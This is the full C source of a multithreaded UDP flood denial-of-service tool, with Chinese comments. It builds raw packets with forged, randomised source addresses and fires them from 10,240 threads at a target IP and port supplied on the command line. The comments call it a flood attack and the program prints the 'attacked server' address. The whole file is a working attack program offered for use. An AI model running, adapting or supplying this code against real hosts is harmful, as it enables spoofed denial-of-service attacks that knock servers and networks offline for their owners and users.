#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<signal.h>
#include<pthread.h>
#include<unistd.h>
#define MAX 10240
int sockfd=-1;
int flag=1;
int send_udp_dos(int connfd,struct sockaddr_in *paddr);
void handler(int signo)
{
printf("捕捉到信号:%d\n",signo);
flag=0;
}
void *fun(void *arg)
{
struct sockaddr_in *addr=arg;
while(flag)
{
send_udp_dos(sockfd,addr);
}
pthread_exit(NULL);
}
//计算16位UDP校验和
unsigned short checksum(unsigned char *buf, int len)
{
unsigned int sum = 0;
unsigned short *cbuf;
cbuf = (unsigned short *)buf;
while(len > 1)
{
sum += *cbuf++;
len -= 2; //剩余尚未累加的16比特的个数
}
if(len) //若len的长度不是偶数
sum += *(unsigned char *)cbuf; //用最后一个字节补齐
//防溢出处理
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
//组织UDP数据包
int send_udp_dos(int connfd, struct sockaddr_in *paddr)
{
int len = 0;
int ret = -1;
char *packet = NULL;
char *data = NULL;
struct ip *ipheader = NULL;
struct udphdr *udpheader = NULL;
//分配空间 IP首 部 + UDP首部 + 数据(64)
len = sizeof(struct ip) + sizeof(struct udphdr) + 64;
packet = malloc(len);
if (NULL == packet)
{
printf("malloc failed...\n");
return 1;
}
//内存清零
memset(packet, 0, len);
//第一部分: IP首部
ipheader = (struct ip*)packet;
//第二部分: UDP首部
udpheader = (struct udphdr*)(packet + sizeof(struct ip));
//第三部分:数据
data = packet + sizeof(struct ip) + sizeof(struct udphdr);
//封装IP协议
//协议的版本 IPv4
ipheader->ip_v = 4;
//首部长度 20字节 20 / 4 = 5
ipheader->ip_hl = 5;
//区分服务 暂时没有使用
ipheader->ip_tos = 0;
//总长度 转化为网路序
ipheader->ip_len = htons(len);
//标识 随机
ipheader->ip_id = random() % 1024;
//标志 + 片偏移
ipheader->ip_off = 0;
//生存时间 随机指定64
ipheader->ip_ttl = 64;
//协议
ipheader->ip_p = IPPROTO_UDP;
//首部校验和 暂时填写0
ipheader->ip_sum = 0;
ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip));
//随机源地址
ipheader->ip_src.s_addr = random() % 1000;
//目的地址 参数paddr传递进来的
ipheader->ip_dst = paddr->sin_addr;
//封装UDP协议
//随机端口 保证每一次发送数据端口不一样
udpheader->uh_sport = 1024 + random() % 100;
//目的端口
udpheader->uh_dport = paddr->sin_port;
//长度 UDP首部 + 数据
udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64);
//校验和
udpheader->uh_sum = 0;
udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64);
//填充数据
strcpy(data, "B17070316");
//发送数据 (vim)
//第一个参数: 套接字
//第二个参数: 发送数据
//第三个参数: 发送数据长度
//第四个参数: 标志
//第五个参数: 服务端addr结构
//第六个参数: sizeof(struct sockaddr_in)
ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in));
if (ret <= 0)
{
perror("sendto");
return -1;
}
printf("ret: %d\n", ret);
//释放内存
free(packet);
}
//UDP洪水攻击
int main(int argc, char **argv)
{
int i = 0;
int ret = -1;
int on = -1;
//保存线程tid 线程号
pthread_t tid[MAX];
//填写服务端信息
struct sockaddr_in addr;
//0. 参数检查
//argv[0] 可执行文件
//argv[1]: IP
//argv[2]: 端口
if (3 != argc)
{
printf("usaage: ./a.out IP port\n");
return 1;
}
//注册信号 软件中断
//第一个参数: 信号编号 SIGINT Ctrl + C 产生
//第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler
signal(SIGINT, handler);
//1. 创建套接字 UDP
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (-1 == sockfd)
{
//输出出错原因
perror("socket");
return 1;
}
printf("sockfd = %d\n", sockfd);
//设置自己封装IP
on = 1; //表示使能
ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
if (-1 == ret)
{
perror("setsockopt");
return -1;
}
//2. 初始化结构体
//服务端IP + 服务端端口
//man 7 ip
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET; //ipv4
//将字符串转化为int类型 "123"--> 123
addr.sin_port = htons(atoi(argv[2]));
//填充IP 192.168.12.88
//字符串IP转化为大端模式的IP
inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr);
printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]);
#if 1
//循环创建线程
for (i = 0; i < MAX; i++)
{
//第一个参数:传出线程号
//第二个参数:线程属性 默认即可 NULL:
//第三个参数:线程处理函数 线程启动之后执行函数
//第四个参数:传递给线程处理函数的参数
pthread_create(&tid[i], NULL, fun, (void*)&addr);
}
//等待所有的线程退出
for (i = 0; i < MAX; i++)
{
//第一个参数: 线程ID
//第二个参数: 传出线程退出状态
pthread_join(tid[i], NULL);
}
#else
//3. 循环发送数据
while(1)
{
send_udp_dos(sockfd, &addr);
}
#endif
//4. 关闭文件描述符
close(sockfd);
return 0;
}